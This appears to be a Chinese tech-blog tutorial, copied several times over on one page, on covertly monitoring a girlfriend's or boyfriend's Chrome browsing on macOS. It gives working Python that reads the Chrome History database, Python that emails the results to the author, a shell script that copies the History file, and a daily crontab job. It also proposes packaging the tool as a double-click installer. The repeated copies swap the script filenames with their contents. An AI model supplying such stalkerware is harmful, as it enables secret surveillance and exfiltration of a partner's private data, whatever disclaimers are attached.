# -*- coding: utf-8 -*-<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import sqlite3<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#大家要改成自己的路径<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 1.连接history_db<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />c = sqlite3.connect(history_db)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />cursor = c.cursor()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 2.选取我们想要的网址和访问时间<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />try:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> cursor.execute(select_statement)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />except sqlite3.OperationalError:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> quit()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 3.将网址和访问时间存入result.txt文件<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />results = cursor.fetchall()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for i in range(len(results)):<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> f.write(results[i][1]+'\n')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;max-width: 100%;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路劲问题
答:大家在复现的时候,要注意把路劲改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
学习Python就关注:datanami
近期文章: 查看全部
用Python监控你的女朋友/男朋友每天都在看哪些网站
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email import encoders<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.header import Header<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.text import MIMEText<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.multipart import MIMEMultipart<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.base import MIMEBase<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.utils import parseaddr, formataddr<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import smtplib<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import argparse<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 1.文件执行的需要的参数(result.txt)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />parser = argparse.ArgumentParser()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />parser.add_argument('affix_file',help='the path of the affix')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />args = parser.parse_args()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 2.格式化一个邮件地址和邮件信息<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />def _format_addr(s):<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> name, addr = parseaddr(s)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return formataddr((Header(name, 'utf-8').encode(), addr))<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#连接服务器(这里大家好改成自己的!)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from_addr = "771568102@qq.com" #发件人邮箱<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />password = "xxxxxxxx" #发件人邮箱授权码<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />smtp_server = "smtp.qq.com" #SMTP服务器地址<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#邮件发件人名字、收件人名字、主题<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg = MIMEMultipart()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 邮件正文是MIMEText:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />with open(args.affix_file, 'r') as f:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 设置附件的MIME和文件名,这里是py类型:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime = MIMEBase('result', 'txt', filename='result.txt')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 加上必要的头信息:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('Content-ID', '')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('X-Attachment-Id', '0')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 把附件的内容读进来:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.set_payload(f.read())<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 用Base64编码:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> encoders.encode_base64(mime)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 添加到MIMEMultipart:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> msg.attach(mime)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#3.通过SMTP发送出去<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server = smtplib.SMTP(smtp_server, 25)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.set_debuglevel(1)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.login(from_addr, password)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.sendmail(from_addr, [to_addr], msg.as_string())<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import sqlite3<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#大家要改成自己的路径<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 1.连接history_db<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />c = sqlite3.connect(history_db)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />cursor = c.cursor()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 2.选取我们想要的网址和访问时间<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />try:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> cursor.execute(select_statement)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />except sqlite3.OperationalError:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> quit()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 3.将网址和访问时间存入result.txt文件<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />results = cursor.fetchall()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for i in range(len(results)):<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> f.write(results[i][1]+'\n')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;max-width: 100%;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路劲问题
答:大家在复现的时候,要注意把路劲改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
学习Python就关注:datanami
近期文章:
用编程语言监控了女朋友每天都在看的网站,我发现了一个秘密
网站优化 • 优采云 发表了文章 • 0 个评论 • 145 次浏览 • 2022-05-29 05:50
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br />from email import encoders<br />from email.header import Header<br />from email.mime.text import MIMEText<br />from email.mime.multipart import MIMEMultipart<br />from email.mime.base import MIMEBase<br />from email.utils import parseaddr, formataddr<br />import smtplib<br />import argparse<br /><br /># 1.文件执行的需要的参数(result.txt)<br />parser = argparse.ArgumentParser()<br />parser.add_argument('affix_file',help='the path of the affix')<br />args = parser.parse_args()<br /><br /><br /># 2.格式化一个邮件地址和邮件信息<br />def _format_addr(s):<br /> name, addr = parseaddr(s)<br /> return formataddr((Header(name, 'utf-8').encode(), addr))<br /><br />#连接服务器(这里大家好改成自己的!)<br />from_addr = "771568102@qq.com" #发件人邮箱<br />password = "xxxxxxxx" #发件人邮箱授权码<br />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br />smtp_server = "smtp.qq.com" #SMTP服务器地址<br /><br />#邮件发件人名字、收件人名字、主题<br />msg = MIMEMultipart()<br />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br /><br /># 邮件正文是MIMEText:<br />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br /><br /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br />with open(args.affix_file, 'r') as f:<br /> # 设置附件的MIME和文件名,这里是py类型:<br /> mime = MIMEBase('result', 'txt', filename='result.txt')<br /> # 加上必要的头信息:<br /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br /> mime.add_header('Content-ID', '')<br /> mime.add_header('X-Attachment-Id', '0')<br /> # 把附件的内容读进来:<br /> mime.set_payload(f.read())<br /> # 用Base64编码:<br /> encoders.encode_base64(mime)<br /> # 添加到MIMEMultipart:<br /> msg.attach(mime)<br /><br />#3.通过SMTP发送出去<br />server = smtplib.SMTP(smtp_server, 25)<br />server.set_debuglevel(1)<br />server.login(from_addr, password)<br />server.sendmail(from_addr, [to_addr], msg.as_string())<br />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br />import sqlite3<br /><br />#大家要改成自己的路径<br />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br /><br /># 1.连接history_db<br />c = sqlite3.connect(history_db)<br />cursor = c.cursor()<br /><br /><br /># 2.选取我们想要的网址和访问时间<br />try:<br /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br /> cursor.execute(select_statement)<br />except sqlite3.OperationalError:<br /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br /> quit()<br /><br /># 3.将网址和访问时间存入result.txt文件<br />results = cursor.fetchall()<br />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br /> for i in range(len(results)):<br /> f.write(results[i][1]+'\n')<br /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;line-height: 1.75em;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路径问题
答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
其实我也没找到什么秘密
<p style="margin-right: 16px;margin-left: 16px;outline: 0px;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.75em;">---END---</p>
<p style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;text-align: center;">往日文章:Java 8“失宠”,开发人员向Java 11转移<br style="outline: 0px;" />我在美团的八年<br style="outline: 0px;" />别乱用,这样打日志定位 Bug 又快又准!<br style="outline: 0px;" />分享一波 Android 性能优化的总结!<br style="outline: 0px;" />Java 和 C 长期霸权结束<br style="outline: 0px;" />我用Jetpack Compose 编写 了一个AndroidTV 应用~<br style="outline: 0px;" />很任性!我开发了一款自己用的天气预报 app<br style="outline: 0px;" />AudioRecord采集音频数据及合成<br style="outline: 0px;" />【译】macOS 上 Flutter Desktop 与 Electron 的性能对比<br style="outline: 0px;" />将图片库优化到底!京东京喜App是如何做的?<br style="outline: 0px;" /><br style="outline: 0px;" />
更文不易,点个“在看”支持一下</p> 查看全部
用编程语言监控了女朋友每天都在看的网站,我发现了一个秘密
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br />from email import encoders<br />from email.header import Header<br />from email.mime.text import MIMEText<br />from email.mime.multipart import MIMEMultipart<br />from email.mime.base import MIMEBase<br />from email.utils import parseaddr, formataddr<br />import smtplib<br />import argparse<br /><br /># 1.文件执行的需要的参数(result.txt)<br />parser = argparse.ArgumentParser()<br />parser.add_argument('affix_file',help='the path of the affix')<br />args = parser.parse_args()<br /><br /><br /># 2.格式化一个邮件地址和邮件信息<br />def _format_addr(s):<br /> name, addr = parseaddr(s)<br /> return formataddr((Header(name, 'utf-8').encode(), addr))<br /><br />#连接服务器(这里大家好改成自己的!)<br />from_addr = "771568102@qq.com" #发件人邮箱<br />password = "xxxxxxxx" #发件人邮箱授权码<br />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br />smtp_server = "smtp.qq.com" #SMTP服务器地址<br /><br />#邮件发件人名字、收件人名字、主题<br />msg = MIMEMultipart()<br />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br /><br /># 邮件正文是MIMEText:<br />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br /><br /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br />with open(args.affix_file, 'r') as f:<br /> # 设置附件的MIME和文件名,这里是py类型:<br /> mime = MIMEBase('result', 'txt', filename='result.txt')<br /> # 加上必要的头信息:<br /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br /> mime.add_header('Content-ID', '')<br /> mime.add_header('X-Attachment-Id', '0')<br /> # 把附件的内容读进来:<br /> mime.set_payload(f.read())<br /> # 用Base64编码:<br /> encoders.encode_base64(mime)<br /> # 添加到MIMEMultipart:<br /> msg.attach(mime)<br /><br />#3.通过SMTP发送出去<br />server = smtplib.SMTP(smtp_server, 25)<br />server.set_debuglevel(1)<br />server.login(from_addr, password)<br />server.sendmail(from_addr, [to_addr], msg.as_string())<br />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
